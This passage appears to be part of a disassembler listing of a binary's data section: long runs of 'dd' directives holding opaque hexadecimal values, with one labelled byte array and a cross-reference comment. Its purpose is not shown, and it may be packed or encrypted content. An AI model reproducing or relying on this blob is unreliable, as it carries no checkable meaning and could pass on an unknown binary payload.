		dd 0DE0A10B6h, 5813483Ah, 21D00820h, 0CEEB283Eh, 1454B1D0h
		dd 0CD22D04Ch, 8943A0C0h, 0ECB6F635h, 0E150C056h, 0A5D9A883h
		dd 592BF730h, 50931F2Fh, 0F61C3Dh, 43F7BE53h, 1B148B6h
		dd 0BD17680Ch, 27763104h, 5C835095h, 393E3B40h,	3DF903C8h
		dd 0C5315870h, 12B268B3h, 74DC9B30h, 2C7A1265h,	0AED004A8h
		dd 0E0900E18h, 9B208D3Bh, 479D24Dh, 71E4648h, 0B47428C6h
		dd 8238F4D2h, 542D488h,	2C9CC808h, 0E3D80200h, 0E9826067h
		dd 0C07B489Dh, 0D269C09h, 31186822h, 1F6BD00h, 0CBA012CEh
		dd 43085ACh, 954D0F0h, 0D5E8044Fh, 454B2460h, 25D3A812h
		dd 7C0128CAh, 7D034B3Ch, 5BE7D8F8h, 64049C01h, 0A5284BEh
		dd 0D09DA03Ch, 442E9309h, 802C6323h, 0A6CEBB00h, 32E0545h
		dd 0CA4F72D7h, 7DBE4A7h, 0A0F06805h, 0B0BC3CA3h, 4B6C304Bh
		dd 3A01A5C0h, 8132D242h, 0E8EA3F9Ch, 2C136E40h,	11A434A6h
		dd 6F571E12h, 85E23900h, 79DFBCh, 1B892797h, 0D6ACC05Dh
		dd 289C3E50h, 0BCD12D41h, 0C3CCEAC6h, 2478238h,	38CEF216h
		dd 816054B4h, 0BD68EB84h, 0C5892821h, 919041B9h, 0D0488B18h
		dd 8C546B2Eh, 0D28E9860h, 0C064A021h, 0D78E7068h, 2EA4140Ah
		dd 170BFC03h, 1034D090h, 2559D8B6h, 91909748h, 68D98457h
		dd 147F3A80h, 0EC810C12h, 0FAC86D0Fh, 0FC0ECC2Ah, 0D04FF889h
		dd 0D0BC0BE4h, 8E84A802h, 45D8AB71h, 80B1EE54h,	0FC47384Bh
		dd 0CC0BBD4Eh, 0A708DC71h, 24089F40h, 9F658020h, 74CC3ACEh
		dd 0F0519368h, 0A11E3039h, 5C5F429Bh, 0DE009511h, 816A82CBh
		dd 404E5E37h, 0C7EA3440h, 5E2D90Ah, 2242D3FCh, 0CB6CC120h
		dd 9178D4D4h, 4FD23012h, 4083140Eh, 0FB9417F7h,	89649E2Eh
		dd 2C10E040h, 251E6941h, 84D24FD3h, 0B13B6023h,	28744D23h
		dd 12613042h, 9164F6D9h, 1B24BC01h, 1D746A8Ch, 3BC8E441h
		dd 0FC324100h, 1749A7E5h, 871891CCh, 0D0C250B0h, 0D76CE0FAh
		dd 0BBA78017h, 10ACEA48h, 0F61D0798h, 0E9D8BC57h, 0F59CC200h
		dd 8670B97Ch, 626072C7h, 0B8BB92E0h, 8B30D204h,	0C063C8BCh
		dd 0A2A60EF2h, 818DFD01h, 50768B5Fh, 20D2DC31h,	264EB229h
		dd 58964217h, 0F92F5040h, 930932CCh, 24172540h,	0B4831891h
		dd 52486494h, 33B22D0h,	6A95D7F7h, 16924861h, 0B411D0A0h
		dd 740EB2ABh, 600897CFh, 0BFB65F0Ch, 2030B0A7h,	424C4124h
		dd 808A108Ch, 860268D0h, 3F642CB4h, 6A77CCC0h, 96301083h
		dd 0AF35C815h, 380350B7h, 91DE6D78h, 0F19F0358h, 2C6EB0h
		dd 24CF07ECh, 96503DE0h, 5640BCACh, 80215540h, 0DC90AC47h
		dd 2E7ED0F5h, 258930Ch,	0A0DD35C0h, 91CE0C0h, 0D7C011BFh
		dd 3B3439A4h, 4B220B46h, 0BEE47847h, 3A7A5048h,	50944B00h
		dd 1384828Fh, 888A01Dh,	3FD1C37Eh, 96B0B109h, 0B90076E1h
		dd 0D7FFAC72h, 0BA4482Ch, 0E301521Eh, 81DE4C1h,	8CB98CBCh
		dd 8760B45Bh, 0ABF058F6h, 9D2D9C2Dh, 80639160h,	0CC6CBD06h
		dd 0D9B70007h, 83407BA2h, 0E9C04384h, 0D14ECE97h, 4428B442h
		dd 0C3052EBh, 0EBCC0A7h, 0B3C59BB5h, 0D032A480h, 4740F086h
		dd 2871691Ah, 0D11209Dh, 75A48483h, 41305011h, 8C0FB8h
		dd 72FD2D81h, 20212FA1h, 0F32594E4h, 4C40217Fh,	503C358Fh
		dd 92089320h, 0F1A28ABh, 17010AF8h, 31B24A1Eh, 0F54009CDh
		dd 0B400708Eh, 5E58F4BEh, 0CD8E086Ah, 57802440h, 0C544164Ch
		dd 8B8005FEh, 0C17D64E0h, 2CEAFCC9h, 68810934h,	8060B73Dh
		dd 8971AC52h, 5B018206h, 56F51B7Eh, 285A5017h, 57A0C0C0h
		dd 83580507h, 0F8710568h, 70D0289Eh, 4D6AA394h,	700BD0EEh
		dd 0B49D3F91h, 6C807A11h, 9AD7CBA0h, 1F0A867Ah,	0A4628D4Eh
		dd 0D1F24D41h, 24384AF4h, 0A0A976h, 8135237Bh, 0BC0A407Ah
		dd 9C82E207h, 46745024h, 0AD75017Ch, 66478C84h,	0A4588032h
		dd 7BC88048h, 0E4814081h, 28A47EAFh, 46548858h,	8AC2807h
		dd 2F507AB9h, 0C0112EC9h, 22A422EAh, 18740013h,	0F854538h
		dd 1204D61Dh, 5462ABDDh, 38942CACh, 718C03B8h, 3CC1005Dh
		dd 0DE1D71Bh, 0A561BDDEh, 22DCECD2h, 54629875h,	0A834F1Fh
		dd 0C70C23E2h, 0DBF2B05Fh, 220512D3h, 0F6BE539Ah, 0B881A5C4h
		dd 280C1A08h, 0E4FC5041h, 1D0096AAh, 80DB898Bh,	3A1DA459h
		dd 0D41A1220h, 0F630C08Ch, 0FCB42F9Eh, 0F4AC8003h, 51190A21h
		dd 11983FDEh, 122D000Ah, 608F04F5h, 71CC0269h, 440914E3h
		db 0C3h
byte_4E0049	db 9Bh,	0C8h, 0C7h	; DATA XREF: ___:00437DD4o
		dd 90B12FF4h, 7D73C80h,	75B23608h, 0DFE40382h, 0C49A3BEh
		dd 0E0F2F4E8h, 1561CE18h, 0E72731h, 3F46AC3Bh, 32232CBAh
		dd 0CB51C300h, 0A8D335CEh, 56B0F3Ch, 7180924Ch,	907231B2h
		dd 168B7496h, 58AC11A6h, 5101B829h, 5265D68Dh, 5987608h
		dd 6F478481h, 19958B0h,	0B9CA1602h, 24938D10h, 0BF06A644h
		dd 34389484h, 709CBB10h, 0CC1C50AFh, 4080C566h,	41EEE61Fh
		dd 4630900Ah, 8E97023Dh, 516CA0D3h, 6F596084h, 0BF01558Eh
		dd 0E48C5CCAh, 0F04D4B2Bh, 0EE28874h, 4A79A6ADh, 0EE208F61h
		dd 818820EFh, 488C2788h, 4B101078h, 0DB310074h,	0F66E5713h
		dd 0BB930849h, 0F8162288h, 0D3942C30h, 51AC3E2Bh, 435C4206h
		dd 6D225869h, 678D1824h, 0B2CC78E0h, 811378BAh,	0B0B0F79Ch
		dd 0DCE427A4h, 90A546Ch, 0B863839Ch, 396AE48Ch,	0B7E20478h
		dd 0EC41282Ah, 0C42E4BCCh, 3A1323h, 0C15E9295h,	122C26F5h
		dd 0B1F4B518h, 1DA44A0Ch, 10225C9Ch, 841CA2FCh,	34EC4C1Bh
		dd 444A188Bh, 0F200C859h, 0A8D821F7h, 200B041Fh, 814352F6h
		dd 330932FBh, 3D682264h, 59A84D78h, 1C02144h, 0BD3A9B08h
		dd 0F637A582h, 680E773Ch, 5262647Dh, 2C8A88Bh, 0D6F9E7C0h
		dd 0BDC70F90h, 0A800DAB7h, 9B55E4FDh, 460448A7h, 11AFF6FCh
		dd 69C94878h, 0E919C9Fh, 0AA3F6681h, 2F588824h,	1E916E20h
		dd 0FA0406A8h, 3C8199B2h, 94732F61h, 0EC828A71h, 24C47A77h
		dd 91690221h, 9D780512h, 0B0F43944h, 5C0B427Ch,	8C79AC10h
		dd 0E06E6500h, 20B5BFBDh, 8FA502CCh, 7D139C02h,	9924482h
		dd 4527AC22h, 0F65119Ch, 6C9C848Fh, 10A83812h, 3E7772CCh
		dd 0EBE5939Dh, 58C80CF6h, 48BB9202h, 0C6E04A40h, 8AE0A3E4h
		dd 44D832AAh, 72FCCF0Bh, 91F097B2h, 227B800Eh, 18837E14h
		dd 0B9785784h, 734132F4h, 7078E7F1h, 18C55BCh, 37EF5B6Ch
		dd 0F8D7A624h, 584E70C4h, 0F588E040h, 1A0D829h,	6759DBF3h
		dd 0D949E387h, 0C4BC2241h, 0A0B30C21h, 6B3063B2h, 0BF0D037Ch
		dd 0D88BFECFh, 0D4AEF690h, 84E02B48h, 4D080588h, 0A6096611h
		dd 9CD03EFCh, 14EFE0A1h, 316ED891h, 0D6EDAC28h,	5F1DFA30h
		dd 9A5C4019h, 54E22840h, 0E5D40B00h, 0A8CA30AEh, 994F00DEh
		dd 0E496980Eh, 88C4265Eh, 0B08C496Fh, 9240409Bh, 7D36397h
		dd 0B1B32FC8h, 3F062322h, 0D800D1A6h, 247670Bh,	0F6A792h
		dd 0D5D6F489h, 0E482EA1Ah, 6882EB4Fh, 22CEC97h,	253A1EA8h
		dd 7CC22BD5h, 0B14E1047h, 0F746D080h, 9F00E170h, 0ED75D789h
		dd 0F2E7BBAFh, 8A81005Ah, 0C3F35D1Bh, 7C9045B5h, 3C4FAC20h
		dd 9E0931B1h, 0F81029B0h, 0C8833008h, 9FCF83h, 3AA4CD0h
		dd 5E472460h, 1FF2E412h, 756056h, 2AB294A2h, 13E1FA30h
		dd 903165CBh, 325DA5A8h, 97019900h, 77618B33h, 0A69E0214h
		dd 3F267075h, 79792CF9h, 19090718h, 763C3F8Ch, 9B806E68h
		dd 7094FC86h, 31E2F8A3h, 412C7629h, 6891539Dh, 40E09294h
		dd 28204C21h, 50C0EF25h, 9615F869h, 1FEC5004h, 4280320Eh
		dd 1710D576h, 0A0BE5CCAh, 3E6F7717h, 0F552398h,	64E07BB3h
		dd 28B818FAh, 1AC2B4Ch,	69B97A4Ch, 9E20E2E9h, 340D4C02h
		dd 5725A10h, 507BE49Dh,	56EC84A8h, 5C35008Ch, 0BBD7A16Ah
		dd 0BD072F0Ch, 0C184A7A5h, 0B0143243h, 4AE3CCFAh, 0C8FC8B28h
		dd 286DC02Dh, 82F102FCh, 0A616E0B0h, 44585274h,	4D1F9F01h
		dd 445338A3h, 1382AB00h, 1D3405Dh, 3176BB94h, 0F6723B52h
		dd 309E005Ch, 8C84BF82h, 9E64DCB3h, 8E8E432h, 0D5011AC0h
		dd 0BACA160Ch, 5E5F460h, 2257A191h, 8198A4C9h, 54CF68C0h
		dd 2ECCA393h, 0D47004h,	9D62989h, 0E0970A95h, 403FEC80h
		dd 8410A44Bh, 0B20028C6h, 29B3669Dh, 63096192h,	0A783E481h
		dd 0E94C0878h, 85A400D1h, 0D042BE22h, 0A10147AAh, 0B82093F4h
		dd 452004F9h, 583F27B1h, 9BED8068h, 857D8E00h, 0A2D19616h
		dd 32076B0h, 0C636F222h, 3FB0C468h, 0A7129AB6h,	0AC8B2C73h
		dd 0A0CF01C8h, 0ECE8B2D9h, 0F66705EEh, 0A9260896h, 9EA1074Ch
		dd 0AB259Ch, 22F448C0h,	16F9C00Ah, 261C9AF8h, 746EF05Fh
		dd 0C0950D1Fh, 0B88BF92Fh, 3D585237h, 0A4BB1300h, 27F62CA0h
		dd 0FCC507E0h, 0B480D1EEh, 20954EECh, 88B02CBEh, 0F834A63h
		dd 6157E4A3h, 0A047F020h, 78121F30h, 0A0D4CE22h, 202FE4ACh
		dd 0A014742Ah, 48E82090h, 99014CACh, 20F02755h,	246C0885h
		dd 47A39205h, 4E48D1DEh, 2504D6DDh, 65A258F3h, 537E030h
		dd 10A94AEh, 1378C408h,	0F7D4F230h, 16D4C068h, 8095FCADh
		dd 4189E958h, 48F2F409h, 9B0FF8B9h, 99A0E685h, 15BE2A6Bh
		dd 489C36EAh, 0D8A55307h, 638C23C1h, 0A4091C38h, 0A02116CCh
		dd 3F31C382h, 0CE612C08h, 13A8FE4Ah, 0C02CF25Bh, 63FE57D0h
		dd 73BD0B0Ah, 34840B72h, 8464B8ACh, 6E41CB9Bh, 0E091712Fh
		dd 20C608A8h, 4031D330h, 1F3D5039h, 522449Ch, 0A3957082h
		dd 0B3DC1362h, 3066A210h, 0BA00657Eh, 4D764BA6h, 34E874Ch
		dd 0FC91D289h, 50C2800Ch, 16DC007Eh, 0D31BAEh, 0F992B1CEh
		dd 8C2582E7h, 3290C0BFh, 80D91EC0h, 3880AFD4h, 7B942126h
		dd 78C440BAh, 0C880EE1Fh, 5DABA00Ah, 4204D0F8h,	4022315Ah
		dd 601B2345h, 0F3F662h,	9E6B6377h, 61AE1C36h, 7E94C700h
		dd 70AB9372h, 2D30920Ch, 98404729h, 0B2EE84A2h,	50B7994Ch
		dd 9C76A8A0h, 0DEE71CBAh, 0A08130DCh, 3A849518h, 42C0402Ah
		dd 2BC2E2E7h, 782FD73Fh, 51709616h, 4016AC41h, 2AA4E667h
		dd 11F848D0h, 3D910126h, 0F8E9A8D3h, 5EDFCCh, 267AB730h
		dd 6F9B208Fh, 846F29D3h, 4001C31Eh, 739C8477h, 0EA049222h
		dd 46754ECEh, 3022B8B2h, 0C38C8308h, 0FC32027Dh, 88082096h
		dd 0FA013C2Ch, 0AE9CA524h, 0E900EC38h, 2EE419E1h, 0F60D9FA4h
		dd 582C5886h, 188FD468h, 5548F7E0h, 30030C91h, 0D7B18015h
		dd 0BD201DFAh, 0AC045DF5h, 2A4674C4h, 28EB6B05h, 296CC0BAh
		dd 17B7D084h, 822D9130h, 48780841h, 0B23F788h, 406E05B1h
		dd 766D0700h, 0B8B83CD9h, 1680A1BDh, 1154BA4h, 5823B81Ch
		dd 0F2A454D6h, 5DD30184h, 0E243286Eh, 92EBCECh,	95FDC667h
		dd 898088D1h, 0C15A1EC2h, 7C199D28h, 6AC84221h,	0C5A528DBh
		dd 602DE4F0h, 0FE95C267h, 0C091003Bh, 45D711A7h, 5973F69Bh
		dd 104C3849h, 0A80676C3h, 0A0122284h, 3F2F8B02h, 0A46D8572h
		dd 74F84780h, 9CB38482h, 0ED2FBDC0h, 4BFC0F00h,	0C3461F82h
		dd 4FC92948h, 0C6830094h, 136AE4A5h, 0E70358C0h, 0C59DCB21h
		dd 49481A9h, 0EB47BE78h, 9843404h, 0F59D7204h, 1C042020h
		dd 24CE0640h, 11641B71h, 8C810427h, 401167B7h, 50558600h
		dd 0E49D35F8h, 0D47C8C7Fh, 6284480Ch, 0F0F907Eh, 9D786F3Fh
		dd 41CC8157h, 78573AC9h, 9F01E46Eh, 0D42039B0h,	4CE43850h
		dd 3F1C10A8h, 0DBF39402h, 6C5842F2h, 2E511022h,	0FD82919h
		dd 0E482B696h, 0CFC0BBCh, 8A5313F4h, 16A40228h,	8475D958h
		dd 0C4ED68FCh, 8721D303h, 9BF888E9h, 0F6004612h, 4DA601CBh
		dd 5A9D4726h, 0EC18856Dh, 57F6815Ch, 11963BF0h,	34410FA7h
		dd 0C8648EB6h, 4178C00Fh, 7F1E91A0h, 5D450E99h,	0F001802Eh
		dd 0E8CC221Ah, 23BC3E6Eh, 8803F12h, 76163505h, 0F45C21C4h
		dd 0C989808Ch, 48CE6425h, 4D6184Ah, 955188Ch, 0A70DE12h
		dd 117040D8h, 8E69803Fh, 9C7CA0D1h, 6167587Ch, 927D8E00h
		dd 5E44D09Ah, 19D8C9C6h
		dd 0EFDD5C04h, 0F9E3200Bh, 191671F4h, 95836FC8h, 11C1AC90h
		dd 0D8773200h, 1778F0E2h, 0A4D50E93h, 0CBC08FE9h, 6B4C3183h
		dd 0B6017CB0h, 42C8E0A8h, 0CADFF897h, 912CD62Ah, 27B05334h
		dd 0B12078F7h, 1815D180h, 734E15BFh, 2F0980F1h,	80323417h
		dd 0D1D81041h, 0C1845BAAh, 704445A1h, 9434C20h,	5D8D84A4h
		dd 7418EC0Ah, 0E3001146h, 0D3E7C69Ch, 2AE79375h, 4FB96888h
		dd 0C8288E28h, 9F09C116h, 5C3C705Ah, 0B0A476E4h, 29F5CC35h
		dd 72E9D401h, 10000E9Eh, 27802E40h, 0BE5B004Eh,	3B96DE38h
		dd 3E00366Fh, 0B60F2B17h, 4C50FBD8h, 303A7037h,	0A07A4Eh
		dd 408A08F2h, 0E3E56998h, 246A4AD5h, 9CB0CB18h,	0BE8601A3h
		dd 0E49443CFh, 0A4B40E84h, 0B00C9AFh, 0A40DA810h, 78C7D102h
		dd 0E81F4658h, 4157844Ch, 6F3C2049h, 0FCF158B0h, 69D26D9Ch
		dd 57C8A88Bh, 0AD7160C0h, 145B8C4h, 0A3D78341h,	0AC510184h
		dd 870888A0h, 9C080B17h, 0DC5B442Bh, 0D9DD370h,	4A389AB2h
		dd 7025FEB8h, 802964F0h, 0CC134842h, 84D1171Ah,	0A09631Bh
		dd 0C02B8870h, 0B4C86CCDh, 6A0023FEh, 0B95CE114h, 6007B898h
		dd 0B329D179h, 44909992h, 89C91240h, 5BB6FC89h,	0F5B2481Dh
		dd 9C01E85Ch, 65284EF4h, 0D097B0A5h, 0EF800391h, 3B5675ADh
		dd 0E8EEAF09h, 5D4D9E0h, 4B26FCA6h, 0A86DD780h,	9AEACCC1h
		dd 307E0431h, 0F0119988h, 967E6F09h, 5C240077h,	0BE49BA17h
		dd 4FB942E4h, 88D27125h, 0F1C05197h, 5C1854h, 0F1389CB8h
		dd 0D4FC94E2h, 96F8AE04h, 920259CCh, 0E47E84D3h, 7A441F1Ch
		dd 0DCAC08D4h, 4A42C000h, 8193859Bh, 480A9624h,	44A4E425h
		dd 845E7295h, 20AB6088h, 224F3AFCh, 2DC8248Bh, 80D4F3C9h
		dd 0E1A7CBC5h, 9113783Eh, 0D08043F3h, 3E65B85h,	949D66C1h
		dd 98054FD3h, 0ED10C0A7h, 0A600ACB9h, 0F99C9EBFh, 61F0C3E4h
		dd 2F202090h, 0A3941C6Ch, 875030CDh, 0BE75024Dh, 50D62300h
		dd 79E0604Ah, 2FF50038h, 0B62C9CA3h, 70C04968h,	1DC1D2D6h
		dd 7CB20346h, 0B1B84DFCh, 0D810C92Ch, 9AC7DB01h, 1F7B14F3h
		dd 0D8FC123Ch, 0EC38836Ch, 0F444CE34h, 0F038548h, 0D9C1A3D8h
		dd 2C4F6F59h, 0B5A04F9h, 83C74CF8h, 0E96A56FCh,	78469C18h
		dd 40F7F459h, 8F094E7Ch, 0D131144Bh, 187C791Ch,	0B8EB1228h
		dd 0EA8C0504h, 340F477h, 0FC23115Eh, 0B2F94A56h, 300EF2D4h
		dd 720F5945h, 83A0B63Ch, 4B79AEFCh, 23F82F68h, 2CD7002Dh
		dd 83622646h, 0E46B7302h, 57F21745h, 0ACCB0804h, 0C68582C0h
		dd 8840A3Fh, 0CE0216A0h, 5E503D4Eh, 195D42F8h, 3CCBE205h
		dd 0C8C012C8h, 0B77FD626h, 8A47D88h, 6B421A0Eh,	828E1975h
		dd 84A64791h, 267C5416h, 30ED0CC8h, 31436130h, 2012A622h
		dd 0F0801CCCh, 44D8956Eh, 8A1FBB59h, 5C0951AEh,	3F0CC862h
		dd 475900FBh, 24864A54h, 8DE8275Eh, 950DBE40h, 9757EC62h
		dd 801291FCh, 864DDB8Ch, 0AD932688h, 27590084h,	854CFF0h
		dd 4A74C6B5h, 23D42FDCh, 0EFCF0001h, 5C90CD47h,	74E2805Ah
		dd 62E67C00h, 38E1E742h, 0EDD9DF04h, 0E253F64Dh, 20C10758h
		dd 0D410E335h, 26501D5Dh, 8B8A526h, 88B2494h, 12CFA4Ah
		dd 0E943BD64h, 35A7D6CEh, 0AC126EB4h, 0DA00B4B8h, 0D8255016h
		dd 4C601948h, 8F0CC239h, 20BD1388h, 98E0D093h, 5805D830h
		dd 425C8222h, 11030AFh,	7A4137ECh, 57B30820h, 0D7B0C46Fh
		dd 4603F2F3h, 8AA3C16h,	1997073h, 0CED456E0h, 0F0D50528h
		dd 0A70517EAh, 3F14AEF6h, 0BF0008ADh, 0F840B20Dh, 0C195189Eh
		dd 3A2BB150h, 67237Ch, 0E159F4C8h, 0AD1218FFh, 0A8AD2AE0h
		dd 8D84726h, 91021E3Bh,	0C9B096F6h, 98304884h, 61024052h
		dd 18B41E5Ah, 3DB102B5h, 84481592h, 10B9A466h, 8C182979h
		dd 78307502h, 8A726B55h, 830944A1h, 5C8809CFh, 7BC8A080h
		dd 128F12E9h, 0A4C0120Bh, 281847BCh, 0D929BE9Ch, 5BCB7FA0h
		dd 0E9280527h, 0E230C2DDh, 0F585C5Bh, 0EC50C4DDh, 82480008h
		dd 95313C9Ch, 46B9249Dh, 72B96500h, 47BDD7B7h, 1716093Ah
		dd 80A40B5Fh, 0C93B4492h, 0A62A4003h, 7CB830A0h, 7CEA2E99h
		dd 0B9024D8h, 0C47B0CBh, 3F6011C4h, 0EF001CAEh,	389A260Bh
		dd 609C1F4Dh, 0E4A68191h, 48B77F4Eh, 800BB1A0h,	21251435h
		dd 184BD20h, 0BFF899E9h, 0A9E480A6h, 0A5BDA003h, 16D913C0h
		dd 0E9A4D7A8h, 0F840687Ch, 3ADB08h, 1D827D78h, 511F366Eh
		dd 0E01E2E03h, 0E02197D4h, 25C0DB52h, 0CD9A0A9h, 10084812h
		dd 62610976h, 0D46ADCA0h, 5F822B64h, 0A0DBDC10h, 1C3CBB12h
		dd 0E29D2049h, 0F41C56C0h, 63F80D02h, 103040C6h, 49389144h
		dd 0A4B400A6h, 71DFE185h, 9E6E841h, 9A907EEh, 2F8244EBh
		dd 0F0AC7801h, 8854137Ah, 0B9C2C28Ch, 5437E401h, 80BA25E8h
		dd 64B557h, 62AF5216h, 35157850h, 1FC87207h, 0ABC756C5h
		dd 9F03A7C0h, 6D46C061h, 6C1F0AD7h, 25CF508h, 4E389B5Ah
		dd 6E692841h, 2A23243Eh, 9D23231h, 0E738566Bh, 0AC3A44Ch
		dd 0F61FC0A9h, 3444058Ah, 0E4AD4EF8h, 9B88455Ch, 0C05264F6h
		dd 0C510A4Ch, 4A893143h, 7888811h, 0B76CE400h, 55AF5E59h
		dd 51F0D8h, 0F6F50D2h, 4F77A0D1h, 0FE00F774h, 0DA887942h
		dd 0B1FAB0Ah, 2BD3782h,	0D007107Bh, 8E00515Ch, 162277E8h
		dd 0C008AD76h, 0F6E7D810h, 485F6F24h, 294674h, 0FF96928Fh
		dd 9859B70h, 0F82244FAh, 0DA83745Ch, 0F9E0841h,	30851889h
		dd 489A78B9h, 0A888D788h, 7F1A25F4h, 570C5851h,	7134919h
		dd 0AF568984h, 7E30B0D5h, 0F107ED9Dh, 0B70A742Dh, 256BC9E1h
		dd 8513B079h, 0E2A4A363h, 82733001h, 89DB8705h,	0B8F22FF0h
		dd 7FA77139h, 340E446h,	0CC9B5F1Fh, 932F6F34h, 9EACC8BBh
		dd 9C20F866h, 65465EF8h, 205D450h, 6DDCEA0Bh, 0C9E09B58h
		dd 0CE0B95C2h, 0E856C14Eh, 4019CCC0h, 3A3D8928h, 0A9C78009h
		dd 0E199A5A6h, 7623008Ah, 832970B9h, 8C5B0CAh, 0E4CDFAC5h
		dd 4D3BFDCh, 0A67A9BDAh, 3BA0E8A1h, 86C796B3h, 94E0E4B6h
		dd 73E284BFh, 949805E3h, 43AFEC21h, 3CF6977Eh, 8653AFA0h
		dd 6E0A8100h, 5BD06FB1h, 5C9AE8DFh, 0BF15D0D2h,	0F0A82CE3h
		dd 482AE501h, 0A5366CB3h, 178FC42h, 8B078483h, 91CCA8C1h
		dd 6B6AE270h, 2B5A004Ch, 0C94C69E9h, 58DB1835h,	8ACA2108h
		dd 9E105B0Fh, 63D080D9h, 7E83BDB8h, 44B890E5h, 0D1008907h
		dd 60B77E12h, 20B51E91h, 20123A58h, 54E864ACh, 6D40084Ah
		dd 97852C7h, 64212F40h,	709A7D60h, 1EC22431h, 4053A17Ah
		dd 36640B8h, 0B64264F8h, 600E4E1Ch, 9324F3A0h, 409FD4B9h
		dd 661945E3h, 0DC3FED47h, 835F01B4h, 65178D10h,	47D02201h
		dd 638CD160h, 0FCA85013h, 0F0B40C62h, 163A4090h, 0B264605Bh
		dd 34008C09h, 44A92297h, 155B094h, 0B6D1C13Fh, 880CA61Dh
		dd 664FAFF0h, 0BD0349EAh, 263987F5h, 0C70982CBh, 6068C408h
		dd 0D215617h, 39360FABh, 87196C8h, 0D53E090h, 24BA0089h
		dd 65668454h, 737D5B22h, 7BD30201h, 0E10AD69Fh,	542C2075h
		dd 8C14ECh, 30792C2Dh, 0E86B800Dh, 1171C705h, 0D0213CD4h
		dd 0F47328B8h, 0A83015E2h, 50472EA4h, 5E121184h, 0DF3B4490h
		dd 0FBA9001Bh, 1CCDFD66h, 0F4B30E9h, 84A80C20h,	6408BFF6h
		dd 9A22400Ch, 0CB259154h, 4250E16Ch, 72F0C82Ah,	52C4D427h
		dd 0F8B510D8h, 6F401745h, 84482880h, 5811613Eh,	0F9CC78EFh
		dd 13043D1Ch, 94322BCDh
		dd 0E49F5594h, 0EE831711h, 0AFFC9C5Fh, 60BA8834h, 1EA8E66Ch
		dd 0BF08D900h, 9FF09CCCh, 2A899A5h, 55CD495Bh, 465E4C74h
		dd 8E610164h, 95128DF7h, 0BF47130h, 43ED10AAh, 0C01C1058h
		dd 1A4BF0A5h, 6054DC0Ah, 80C2F450h, 44704497h, 0A031C78h
		dd 1D36EB5Ch, 81169877h, 3C68F19Ch, 17A5B101h, 3BE8D392h
		dd 88343C13h, 209BE081h, 3839EC49h, 9FE48106h, 5E1F911Fh
		dd 6465D0FAh, 0F03A44D4h, 58A39209h, 614CA101h,	3B6E40B2h
		dd 50D2318h, 474F295h, 145D98CCh, 13A81AECh, 0DCBC5460h
		dd 13AD4713h, 0EA72C0CCh, 0F116891Fh, 0F631844Dh, 30BE585Ah
		dd 0A7D783F4h, 0ED2C4B00h, 94D63F7Fh, 0D55A30F3h, 0C39EF490h
		dd 0EFA8B767h, 0AB8B6E70h, 39B20F45h, 0C8A1E11Eh, 0FC478C60h
		dd 0E69DBE4Fh, 3AAB0544h, 0B8349EF6h, 0E86A1418h, 88B4D0CCh
		dd 880A492h, 0DB801643h, 0FCAB2607h, 0CBE8AE02h, 4D08B38h
		dd 40803C79h, 0F3024ADBh, 0F54D05C8h, 30A2A615h, 0CC919D2Dh
		dd 3FD46C32h, 11C8B370h, 4BF7F18Ch, 40DC3F00h, 78DB9213h
		dd 86F6AC80h, 2464F598h, 476B063Ch, 817EEF9Dh, 9C05B8B1h
		dd 8CB75509h, 8DACC84Ah, 4F06D0EFh, 0EC8F20A5h,	20765102h
		dd 94F81FFBh, 334B259h,	73FEE73Bh, 54F01610h, 16F8D23Fh
		dd 79AEC082h, 0F4964218h, 0CB92805Eh, 8E8968BCh, 86101061h
		dd 1F5BEAB7h, 2F182B11h, 38A130A0h, 82079383h, 853E5430h
		dd 594DBCF0h, 0FF013CFAh, 376E4081h, 807F0841h,	0D9BABBE1h
		dd 0DE6052h, 2170EB9Eh,	66B0D520h, 85862913h, 0EE000CB2h
		dd 33833C11h, 0DA003A6Fh, 1C4A64Dh, 56F16Ah, 0CF7A670Bh
		dd 488C27D0h, 0A5E03C18h, 5D3220h, 29925A1Eh, 0A67863CFh
		dd 57DF5F1Dh, 0E2DC8D04h, 60038EDh, 623B774Eh, 28030FCEh
		dd 1AD4478Ah, 5FC7F0F9h, 0F68F0026h, 0EF90A5D0h, 28739241h
		dd 0C73CDA25h, 611544BCh, 82FBFD9h, 29051680h, 88A2CD83h
		dd 1594D700h, 0BCF17BFBh, 160157F8h, 0B6F8C389h, 0D1155DE4h
		dd 9658FFD0h, 0CCA83F3Ah, 248480AEh, 67904968h,	188C083Bh
		dd 85C1708h, 0D408EA10h, 0F0408CCh, 89D3508h, 57082BCAh
		dd 3F4808C4h, 8CEBB08h,	5618E80Eh, 80CFE329h, 0AA807E58h
		dd 0CB980E7h, 8086D980h, 4280364Ch, 33B480C1h, 80F96180h
		dd 3280F22Dh, 88AB8118h, 89C52B9h, 0B50823CDh, 0FD21086Ch
		dd 8E1CB08h, 0FA188BC4h, 801C3209h, 95808026h, 401E806Ah
		dd 805AFF80h, 598094DFh, 62E780DDh, 8072F980h, 3B80202Ch
		dd 0D23E802Ah, 80340B80h, 0A98088A7h, 7823807Fh, 9C51AC81h
		dd 6201CD42h, 565010Dh,	30E1001h, 0DE813212h, 94A2C929h
		dd 0EB021AE0h, 44C0051Dh, 4E487ECh, 160AC7E1h, 0C8F288B0h
		dd 0F1347124h, 0DB8F8444h, 0C21C504h, 40DD316Dh, 7540F02Eh
		dd 119B45B8h, 17AEFDCh,	0B901F806h, 40E01CAh, 2FC1501h
		dd 4EC0A2E4h, 7CEE0202h, 27EB702h, 89022B0Bh, 0D04D026Bh
		dd 2F1E702h, 3D02983Fh,	5F9D0559h, 0DD51F2FCh, 0D995BCA2h
		dd 28A1002h, 1C05ECC6h,	8334008h, 231881C9h, 80CF4439h
		dd 9980E3FBh, 889B815Bh, 8637DF1h, 930C87FDh, 8180E1DCh
		dd 3E02E6E6h, 0D6220235h, 206C7303h, 43207D89h,	0C3E82074h
		dd 209DC820h, 0B42022DEh, 99BF209Eh, 2017CF20h,	4820207Ah
		dd 0CC3B5413h, 9D90A8ABh, 61118027h, 0C8032680h, 0E115F239h
		dd 62F10D0h, 311A1610h,	0C4AD5910h, 0A0A36A02h,	0F1201528h
		dd 7861202Dh, 0F909054h, 4023E640h, 1140A2DFh, 0EE7740FBh
		dd 0C4AA6440h, 4FC2F91h, 0BC045C57h, 0D49704E4h, 4C89A04h
		dd 3D048DB2h, 14A1068Eh, 0F71B40E1h, 64CE8F40h,	0A121934h
		dd 0DF88F8E2h, 0F4B40832h, 8CC3008h, 0E086FB9h,	295518CDh
		dd 9E80714Ch, 38F283EEh, 2016402h, 1B029563h, 83F000E8h
		dd 80B15734h, 1A8EF01h,	30748FC3h, 0F9990C48h, 610F4FBh
